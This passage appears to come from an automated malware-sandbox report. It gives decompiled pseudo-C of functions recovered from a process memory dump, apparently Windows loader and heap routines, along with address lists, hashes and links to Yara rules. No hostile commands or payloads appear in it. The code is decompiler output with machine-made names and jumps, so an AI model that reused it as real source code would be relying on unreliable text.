																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L04678F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E046A3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x0467d5f2
0x0467d5f5
0x0467d5f5
0x0467d5fd
0x0467d600
0x0467d60a
0x0467d60d
0x0467d617
0x0467d61d
0x0467d627
0x0467d62e
0x0467d911
0x0467d913
0x00000000
0x0467d919
0x0467d919
0x0467d919
0x0467d634
0x0467d634
0x0467d634
0x0467d634
0x0467d640
0x0467d8bf
0x00000000
0x0467d646
0x0467d646
0x0467d64d
0x0467d652
0x046cb2fc
0x046cb2fc
0x046cb302
0x046cb33b
0x046cb341
0x00000000
0x046cb304
0x046cb304
0x046cb319
0x046cb31e
0x046cb324
0x046cb326
0x046cb332
0x046cb347
0x046cb34c
0x046cb351
0x046cb35a
0x00000000
0x046cb328
0x046cb328
0x00000000
0x046cb328
0x046cb326
0x0467d658
0x0467d658
0x0467d65b
0x0467d665
0x00000000
0x0467d66b
0x0467d66b
0x0467d66b
0x0467d66b
0x0467d66d
0x0467d672
0x0467d67a
0x00000000
0x00000000
0x0467d680
0x0467d686
0x0467d8ce
0x0467d8d4
0x0467d8dd
0x0467d8e0
0x0467d68c
0x0467d691
0x0467d69d
0x0467d6a2
0x0467d6a7
0x0467d6b0
0x0467d6b5
0x0467d6e0
0x0467d6b7
0x0467d6b7
0x0467d6b9
0x0467d6b9
0x0467d6bb
0x0467d6bd
0x0467d6ce
0x0467d6d0
0x0467d6d2
0x046cb363
0x046cb365
0x00000000
0x046cb36b
0x00000000
0x046cb36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0467d6bf
0x0467d6bf
0x0467d6e5
0x0467d6e7
0x0467d6e9
0x0467d6ec
0x0467d6ec
0x0467d6ef
0x0467d6f5
0x0467d6f9
0x0467d6fb
0x0467d6fd
0x0467d701
0x0467d703
0x0467d70a
0x0467d70a
0x0467d701
0x0467d710
0x0467d710
0x0467d6c1
0x0467d6c1
0x0467d6c6
0x046cb36d
0x046cb36f
0x00000000
0x046cb375
0x046cb375
0x046cb375
0x00000000
0x046cb375
0x00000000
0x0467d6cc
0x0467d6d8
0x0467d6d8
0x0467d6d8
0x00000000
0x0467d6c6
0x0467d6bf
0x00000000
0x0467d6da
0x0467d6da
0x0467d716
0x0467d71b
0x0467d720
0x0467d726
0x0467d726
0x0467d72d
0x00000000
0x0467d733
0x0467d739
0x0467d742
0x0467d750
0x0467d758
0x0467d764
0x0467d776
0x0467d77a
0x0467d783
0x0467d928
0x0467d92c
0x0467d93d
0x0467d944
0x0467d94f
0x0467d954
0x0467d956
0x0467d95f
0x0467d961
0x0467d973
0x0467d973
0x0467d956
0x0467d944
0x0467d92c
0x0467d78b
0x046cb394
0x0467d791
0x0467d798
0x046cb3a3
0x046cb3bb
0x046cb3bb
0x0467d7a5
0x0467d866
0x0467d870
0x0467d884
0x0467d892
0x0467d898
0x0467d89e
0x0467d8a0
0x0467d8a6
0x0467d8ac
0x0467d8ae
0x0467d8b4
0x0467d8b4
0x0467d8ae
0x0467d7a5
0x0467d78b
0x0467d7b1
0x046cb3c5
0x046cb3c5
0x0467d7c3
0x0467d7ca
0x0467d7e5
0x0467d7eb
0x0467d8eb
0x0467d8ed
0x00000000
0x0467d8f3
0x0467d8f3
0x0467d8f3
0x00000000
0x0467d8ed
0x0467d7cc
0x0467d7cc
0x0467d7d2
0x00000000
0x0467d7d4
0x0467d7d4
0x0467d7d7
0x0467d7df
0x046cb3d4
0x046cb3d9
0x046cb3dc
0x046cb3dc
0x046cb3df
0x046cb3e2
0x046cb468
0x046cb46d
0x046cb46f
0x046cb46f
0x046cb475
0x0467d8f8
0x0467d8f9
0x0467d8fd
0x046cb3e8
0x046cb3e8
0x046cb3eb
0x046cb3ed
0x00000000
0x046cb3ef
0x046cb3ef
0x046cb3f1
0x046cb3f4
0x046cb3fe
0x046cb404
0x046cb409
0x046cb40e
0x046cb410
0x046cb410
0x046cb414
0x046cb414
0x046cb41b
0x046cb420
0x046cb423
0x046cb425
0x046cb427
0x046cb42a
0x046cb42d
0x046cb42d
0x046cb42a
0x046cb432
0x046cb436
0x046cb438
0x046cb43b
0x046cb43b
0x046cb449
0x046cb44e
0x046cb454
0x046cb458
0x046cb458
0x046cb45d
0x00000000
0x046cb45d
0x046cb3ed
0x00000000
0x00000000
0x00000000
0x0467d7df
0x0467d7d2
0x0467d7ca
0x046cb37c
0x046cb37e
0x046cb385
0x046cb38a
0x00000000
0x046cb38a
0x0467d742
0x0467d7f1
0x0467d7f8
0x046cb49b
0x046cb49b
0x0467d800
0x0467d837
0x0467d843
0x0467d845
0x0467d847
0x0467d84a
0x0467d84b
0x0467d84e
0x0467d857
0x0467d802
0x0467d802
0x0467d80d
0x00000000
0x0467d818
0x0467d818
0x0467d824
0x0467d831
0x046cb4a5
0x046cb4ab
0x046cb4b3
0x046cb4b8
0x046cb4bb
0x00000000
0x046cb4c1
0x046cb4c1
0x046cb4c8
0x00000000
0x046cb4ce
0x046cb4d4
0x046cb4e1
0x046cb4e3
0x046cb4e5
0x00000000
0x046cb4eb
0x046cb4f0
0x046cb4f2
0x0467dac9
0x0467dacc
0x0467dacf
0x0467dad1
0x0467dd78
0x0467dd78
0x0467dcf2
0x00000000
0x0467dad7
0x0467dad9
0x0467dadb
0x00000000
0x00000000
0x0467dae1
0x0467dae1
0x0467dae4
0x0467dae6
0x046cb4f9
0x046cb4f9
0x046cb500
0x0467daec
0x0467daec
0x0467daf5
0x0467daf8
0x0467dafb
0x0467db03
0x0467db11
0x0467db16
0x0467db19
0x0467db1b
0x046cb52c
0x046cb531
0x046cb534
0x0467db21
0x0467db21
0x0467db24
0x0467dcd9
0x0467dce2
0x0467dce5
0x0467dd6a
0x0467dd6d
0x00000000
0x0467dd73
0x046cb51a
0x046cb51c
0x046cb51f
0x046cb524
0x00000000
0x046cb524
0x0467dce7
0x0467dce7
0x0467dce7
0x00000000
0x0467dce7
0x00000000
0x0467db2a
0x0467db2c
0x0467db31
0x0467db33
0x0467db36
0x0467db39
0x0467db3b
0x0467db66
0x0467db66
0x0467db3d
0x0467db3d
0x0467db3e
0x0467db46
0x0467db47
0x0467db49
0x0467db4c
0x0467db53
0x0467db55
0x0467db58
0x0467db5a
0x046cb50a
0x046cb50f
0x046cb512
0x0467db60
0x0467db60
0x0467db63
0x0467db63
0x00000000
0x0467db63
0x0467db5a
0x0467db3b
0x0467db24
0x0467db69
0x0467db69
0x0467db6c
0x0467db6f
0x0467db74
0x046cb557
0x046cb557
0x046cb55e
0x0467db7a
0x0467db7c
0x0467db7f
0x0467db82
0x0467db85
0x00000000
0x0467db8b
0x0467db8b
0x0467db8d
0x0467db9b
0x0467db9b
0x0467db9d
0x0467dba0
0x0467dba2
0x0467dba4
0x0467dba7
0x0467dba9
0x0467dbae
0x0467dbae
0x0467dbb1
0x0467dbb4
0x0467dbb4
0x0467dbb7
0x0467dbba
0x0467dcd2
0x0467dcd4
0x00000000
0x0467dbc0
0x0467dbc0
0x0467dbd2
0x0467dbd7
0x0467dbda
0x0467dbdd
0x0467dbdf
0x00000000
0x0467dbe5
0x0467dbe5
0x0467dbee
0x0467dbf1
0x046cb541
0x046cb544
0x00000000
0x046cb546
0x046cb546
0x00000000
0x046cb546
0x0467dbf7
0x0467dbf7
0x0467dbfd
0x0467dbfd
0x0467dbff
0x0467dc0b
0x0467dc15
0x0467dc1b
0x0467dc1d
0x0467dc21
0x0467dc21
0x0467dc23
0x0467dc23
0x0467dc26
0x0467dc29
0x0467dc2b
0x00000000
0x00000000
0x0467dc31
0x0467dc34
0x0467dc36
0x0467dcbf
0x0467dcbf
0x0467dcc2
0x00000000
0x0467dc3c
0x0467dc41
0x0467dc43
0x00000000
0x0467dc45
0x0467dc45
0x0467dc47
0x00000000
0x0467dc4d
0x0467dc4d
0x0467dc50
0x0467dc52
0x0467dc55
0x0467dcfa
0x0467dcfe
0x0467dd08
0x0467dd0a
0x0467dd0c
0x00000000
0x0467dd12
0x0467dd15
0x0467dd2d
0x0467dd2f
0x0467dd32
0x0467dd35
0x00000000
0x0467dd35
0x0467dc5b
0x0467dc5b
0x0467dc5e
0x0467dc61
0x0467dc64
0x0467dc67
0x0467dc67
0x0467dc6a
0x0467dc6c
0x0467dc8e
0x0467dc8e
0x0467dc91
0x0467dc93
0x0467dcce
0x0467dcce
0x0467dc95
0x0467dc9c
0x0467dc6e
0x0467dc72
0x0467dc75
0x0467dc77
0x0467dc79
0x046cb551
0x046cb551
0x00000000
0x0467dc7f
0x0467dc7f
0x0467dc81
0x00000000
0x0467dc83
0x0467dc86
0x0467dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x0467dc88
0x0467dc81
0x0467dc79
0x0467dc6c
0x0467dc55
0x0467dc47
0x0467dc43
0x00000000
0x0467dc36
0x0467dc23
0x00000000
0x0467dbff
0x0467dbf1
0x0467dbdf
0x0467db8f
0x0467db92
0x0467db95
0x00000000
0x00000000
0x00000000
0x00000000
0x0467db95
0x0467db8d
0x0467db85
0x0467db74
0x0467dc9f
0x0467dca2
0x0467dcb0
0x0467dcb0
0x0467dad1
0x046cb4e5
0x046cb4c8
0x00000000
0x00000000
0x00000000
0x0467d831
0x0467d80d
0x00000000
0x0467d800
0x046cb47f
0x046cb485
0x00000000
0x046cb485
0x0467d665
0x0467d652
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b6c2c819865d342c6318dd656c38297893a40aca18b6f0f25ed032758ba523
Instruction ID: 3d519189289335084fe8ecc4fa07c2342434023cf1c480d0275bfb6b96a7fc64
Opcode Fuzzy Hash: 06b6c2c819865d342c6318dd656c38297893a40aca18b6f0f25ed032758ba523
Instruction Fuzzy Hash: 8CE19C70B003598FEB249F28C980BB9B7A5AF95708F1445ADD9099B390F774BD82CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0467849B, Relevance: .3, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0467849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
				void* _t136;
				signed int _t139;
				signed int _t141;
				signed int _t145;
				intOrPtr _t146;
				signed int _t149;
				signed int _t150;
				signed int _t161;
				signed int _t163;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t194;
				signed int _t200;
				void* _t201;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t214;
				signed int _t215;
				signed int _t218;
				void* _t221;
				signed int _t224;
				signed int _t226;
				intOrPtr _t228;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				void* _t237;
				void* _t238;

				_t236 = __esi;
				_t235 = __edi;
				_t193 = __ebx;
				_push(0x70);
				_push(0x473f9c0);
				E046BD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
				if( *0x4757b04 == 0) {
					L4:
					goto L5;
				} else {
					_t136 = E0467CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
					_t236 = 0;
					if(_t136 < 0) {
						 *((intOrPtr*)(_t237 - 0x54)) = 0;
					}
					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
						_t193 =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
						 *(_t237 - 0x68) = _t236;
						 *(_t237 - 0x6c) = _t236;
						_t235 = _t236;
						 *(_t237 - 0x60) = _t236;
						E04682280( *[fs:0x30], 0x4758550);
						_t139 =  *0x4757b04; // 0x1
						__eflags = _t139 - 1;
						if(__eflags != 0) {
							_t200 = 0xc;
							_t201 = _t237 - 0x40;
							_t141 = E0469F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
							 *(_t237 - 0x44) = _t141;
							__eflags = _t141;
							if(_t141 < 0) {
								L50:
								E0467FFB0(_t193, _t235, 0x4758550);
								L5:
								return E046BD130(_t193, _t235, _t236);
							}
							_push(_t201);
							_t221 = 0x10;
							_t202 =  *(_t237 - 0x40);
							_t145 = E04661C45( *(_t237 - 0x40), _t221);
							 *(_t237 - 0x44) = _t145;
							__eflags = _t145;
							if(_t145 < 0) {
								goto L50;
							}
							_t146 =  *0x4757b9c; // 0x0
							_t235 = L04684620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
							 *(_t237 - 0x60) = _t235;
							__eflags = _t235;
							if(_t235 == 0) {
								_t149 = 0xc0000017;
								 *(_t237 - 0x44) = 0xc0000017;
							} else {
								_t149 =  *(_t237 - 0x44);
							}
							__eflags = _t149;
							if(__eflags >= 0) {
								L8:
								 *(_t237 - 0x64) = _t235;
								_t150 =  *0x4757b10; // 0x8
								 *(_t237 - 0x4c) = _t150;
								_push(_t237 - 0x74);
								_push(_t237 - 0x39);
								_push(_t237 - 0x58);
								_t193 = E0469A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
								 *(_t237 - 0x44) = _t193;
								__eflags = _t193;
								if(_t193 < 0) {
									L30:
									E0467FFB0(_t193, _t235, 0x4758550);
									__eflags = _t235 - _t237 - 0x38;
									if(_t235 != _t237 - 0x38) {
										_t235 =  *(_t237 - 0x48);
										L046877F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
									} else {
										_t235 =  *(_t237 - 0x48);
									}
									__eflags =  *(_t237 - 0x6c);
									if( *(_t237 - 0x6c) != 0) {
										L046877F0(_t235, _t236,  *(_t237 - 0x6c));
									}
									__eflags = _t193;
									if(_t193 >= 0) {
										goto L4;
									} else {
										goto L5;
									}
								}
								_t204 =  *0x4757b04; // 0x1
								 *(_t235 + 8) = _t204;
								__eflags =  *((char*)(_t237 - 0x39));
								if( *((char*)(_t237 - 0x39)) != 0) {
									 *(_t235 + 4) = 1;
									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
									_t161 =  *0x4757b10; // 0x8
									 *(_t237 - 0x4c) = _t161;
								} else {
									 *(_t235 + 4) = _t236;
									 *(_t235 + 0xc) =  *(_t237 - 0x58);
								}
								 *((intOrPtr*)(_t237 - 0x54)) = E046A37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
								_t224 = _t236;
								 *(_t237 - 0x40) = _t236;
								 *(_t237 - 0x50) = _t236;
								while(1) {
									_t163 =  *(_t235 + 8);
									__eflags = _t224 - _t163;
									if(_t224 >= _t163) {
										break;
									}
									_t228 =  *0x4757b9c; // 0x0
									_t214 = L04684620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
									 *(_t237 - 0x78) = _t214;
									__eflags = _t214;
									if(_t214 == 0) {
										L52:
										_t193 = 0xc0000017;
										L19:
										 *(_t237 - 0x44) = _t193;
										L20:
										_t206 =  *(_t237 - 0x40);
										__eflags = _t206;
										if(_t206 == 0) {
											L26:
											__eflags = _t193;
											if(_t193 < 0) {
												E046A37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) != 0) {
													 *0x4757b10 =  *0x4757b10 - 8;
												}
											} else {
												_t169 =  *(_t237 - 0x68);
												__eflags = _t169;
												if(_t169 != 0) {
													 *0x4757b04 =  *0x4757b04 - _t169;
												}
											}
											__eflags = _t193;
											if(_t193 >= 0) {
												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
											}
											goto L30;
										}
										_t226 = _t206 * 0xc;
										__eflags = _t226;
										_t194 =  *(_t237 - 0x48);
										do {
											 *(_t237 - 0x40) = _t206 - 1;
											_t226 = _t226 - 0xc;
											 *(_t237 - 0x4c) = _t226;
											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
													__eflags =  *((char*)(_t237 - 0x39));
													if( *((char*)(_t237 - 0x39)) == 0) {
														_t171 = _t210;
													} else {
														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
														L046877F0(_t194, _t236, _t210 - 8);
														_t171 =  *(_t237 - 0x50);
													}
													L48:
													L046877F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
													L46:
													_t206 =  *(_t237 - 0x40);
													_t226 =  *(_t237 - 0x4c);
													goto L24;
												}
												 *0x4757b08 =  *0x4757b08 + 1;
												goto L24;
											}
											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
											__eflags = _t171;
											if(_t171 != 0) {
												__eflags =  *((char*)(_t237 - 0x39));
												if( *((char*)(_t237 - 0x39)) == 0) {
													goto L48;
												}
												E046A57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
												goto L46;
											}
											L24:
											__eflags = _t206;
										} while (_t206 != 0);
										_t193 =  *(_t237 - 0x44);
										goto L26;
									}
									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
									 *(_t237 - 0x7c) = _t232;
									 *(_t232 - 4) = _t214;
									 *(_t237 - 4) = _t236;
									E046AF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
									_t238 = _t238 + 0xc;
									 *(_t237 - 4) = 0xfffffffe;
									_t215 =  *(_t237 - 0x48);
									__eflags = _t193;
									if(_t193 < 0) {
										L046877F0(_t215, _t236,  *(_t237 - 0x78));
										goto L20;
									}
									__eflags =  *((char*)(_t237 - 0x39));
									if( *((char*)(_t237 - 0x39)) != 0) {
										_t233 = E0469A44B( *(_t237 - 0x4c));
										 *(_t237 - 0x50) = _t233;
										__eflags = _t233;
										if(_t233 == 0) {
											L046877F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
											goto L52;
										}
										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
										L17:
										_t234 =  *(_t237 - 0x40);
										_t218 = _t234 * 0xc;
										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
										 *(_t218 + _t235 + 0x10) = _t236;
										_t224 = _t234 + 1;
										 *(_t237 - 0x40) = _t224;
										 *(_t237 - 0x50) = _t224;
										_t193 =  *(_t237 - 0x44);
										continue;
									}
									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
									goto L17;
								}
								 *_t235 = _t236;
								_t165 = 0x10 + _t163 * 0xc;
								__eflags = _t165;
								_push(_t165);
								_push(_t235);
								_push(0x23);
								_push(0xffffffff);
								_t193 = E046A96C0();
								goto L19;
							} else {
								goto L50;
							}
						}
						_t235 = _t237 - 0x38;
						 *(_t237 - 0x60) = _t235;
						goto L8;
					}
					goto L4;
				}
			}

0x0467849b
0x0467849b
0x0467849b
0x0467849b
0x0467849d
0x046784a2
0x046784a7
0x046784b1
0x046784d8
0x00000000
0x046784b3
0x046784c4
0x046784c9
0x046784cd
0x046784cf
0x046784cf
0x046784d6
0x046784e6
0x046784e9
0x046784ec
0x046784ef
0x046784f2
0x046784f4
0x046784fc
0x04678501
0x04678506
0x04678509
0x046786e0
0x046786e5
0x046786e8
0x046786ed
0x046786f0
0x046786f2
0x046c9afd
0x046c9b02
0x046784da
0x046784df
0x046784df
0x046786fa
0x046786fd
0x046786fe
0x04678701
0x04678706
0x04678709
0x0467870b
0x00000000
0x00000000
0x04678711
0x04678725
0x04678727
0x0467872a
0x0467872c
0x046c9af0
0x046c9af5
0x04678732
0x04678732
0x04678732
0x04678735
0x04678737
0x04678515
0x04678515
0x04678518
0x0467851d
0x04678523
0x04678527
0x0467852b
0x04678537
0x04678539
0x0467853c
0x0467853e
0x0467868c
0x04678691
0x04678699
0x0467869b
0x04678744
0x04678748
0x046786a1
0x046786a1
0x046786a1
0x046786a4
0x046786a8
0x046c9bdf
0x046c9bdf
0x046786ae
0x046786b0
0x00000000
0x046786b6
0x00000000
0x046c9be9
0x046786b0
0x04678544
0x0467854a
0x0467854d
0x04678551
0x0467876e
0x04678778
0x0467877b
0x04678780
0x04678557
0x04678557
0x0467855d
0x0467855d
0x0467856b
0x0467856e
0x04678570
0x04678573
0x04678576
0x04678576
0x04678579
0x0467857b
0x00000000
0x00000000
0x04678581
0x046785a0
0x046785a2
0x046785a5
0x046785a7
0x046c9b1b
0x046c9b1b
0x0467862e
0x0467862e
0x04678631
0x04678631
0x04678634
0x04678636
0x04678669
0x04678669
0x0467866b
0x046c9bbf
0x046c9bc4
0x046c9bc8
0x046c9bce
0x046c9bce
0x04678671
0x04678671
0x04678674
0x04678676
0x046c9bae
0x046c9bae
0x04678676
0x0467867c
0x0467867e
0x04678688
0x04678688
0x00000000
0x0467867e
0x04678638
0x04678638
0x0467863b
0x0467863e
0x0467863f
0x04678642
0x04678645
0x04678648
0x0467864d
0x046c9b69
0x046c9b6e
0x046c9b7b
0x046c9b81
0x046c9b85
0x046c9b89
0x046c9ba7
0x046c9b8b
0x046c9b91
0x046c9b9a
0x046c9b9f
0x046c9b9f
0x04678788
0x0467878d
0x04678763
0x04678763
0x04678766
0x00000000
0x04678766
0x046c9b70
0x00000000
0x046c9b70
0x04678656
0x0467865a
0x0467865c
0x04678752
0x04678756
0x00000000
0x00000000
0x0467875e
0x00000000
0x0467875e
0x04678662
0x04678662
0x04678662
0x04678666
0x00000000
0x04678666
0x046785b7
0x046785b9
0x046785bc
0x046785bf
0x046785cc
0x046785d1
0x046785d4
0x046785db
0x046785de
0x046785e0
0x046c9b5f
0x00000000
0x046c9b5f
0x046785e6
0x046785ea
0x046786c3
0x046786c5
0x046786c8
0x046786ca
0x046c9b16
0x00000000
0x046c9b16
0x046786d6
0x046785f6
0x046785f6
0x046785f9
0x04678602
0x04678606
0x0467860a
0x0467860b
0x0467860e
0x04678611
0x00000000
0x04678611
0x046785f3
0x00000000
0x046785f3
0x04678619
0x0467861e
0x0467861e
0x04678621
0x04678622
0x04678623
0x04678625
0x0467862c
0x00000000
0x0467873d
0x00000000
0x0467873d
0x04678737
0x0467850f
0x04678512
0x00000000
0x04678512
0x00000000
0x046784d6

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 013166c0f39456a5bee2dfa6288960049c70437334adbc6871670cd275aec08b
Instruction ID: 5f9dda6628da4bcf2a114f28260f227b22194af38f55da6275a6a9de5f4d6046
Opcode Fuzzy Hash: 013166c0f39456a5bee2dfa6288960049c70437334adbc6871670cd275aec08b
Instruction Fuzzy Hash: 44B1F6B4E00209ABDB18EFA9C984AADBBB9FF44304F10452DE415AB345E774BD45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0469513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0469513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x475d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E046AD0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
